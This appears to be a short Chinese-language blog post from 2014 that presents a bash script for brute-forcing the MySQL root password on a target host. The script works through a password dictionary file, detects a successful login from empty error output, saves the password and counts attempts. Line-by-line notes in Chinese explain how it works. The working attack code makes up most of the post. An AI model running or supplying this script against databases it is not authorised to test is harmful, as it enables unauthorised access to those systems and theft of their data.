浏览量 4445
2014/04/24 17:30
[cc lang="bash"]
#!/bin/bash
a=1
for t in `cat pass2`
do
mysql -u root -h “TARGETIP” -p$t 2>ss2
if [ ! -s ss2 ]
then
echo $t>password2
break
fi
echo "$a">ss3
a=$[ $a + 1 ]
cat /dev/null >ss2
done
[/cc]
pass2: 是密码字典文件
mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。
! -s ss2 :bash中-s 检查file是否存在并非空为真,加!为取反,因为程序最后又cat /dev/null >ss2 将ss2置空,如果mysql登陆测试密码不报错的话,将会执行echo $t>password2 并跳出程序。
echo "$a">ss3: 运行程序后 cat ss3将可得知执行了几次程序。
上一篇 搜索 下一篇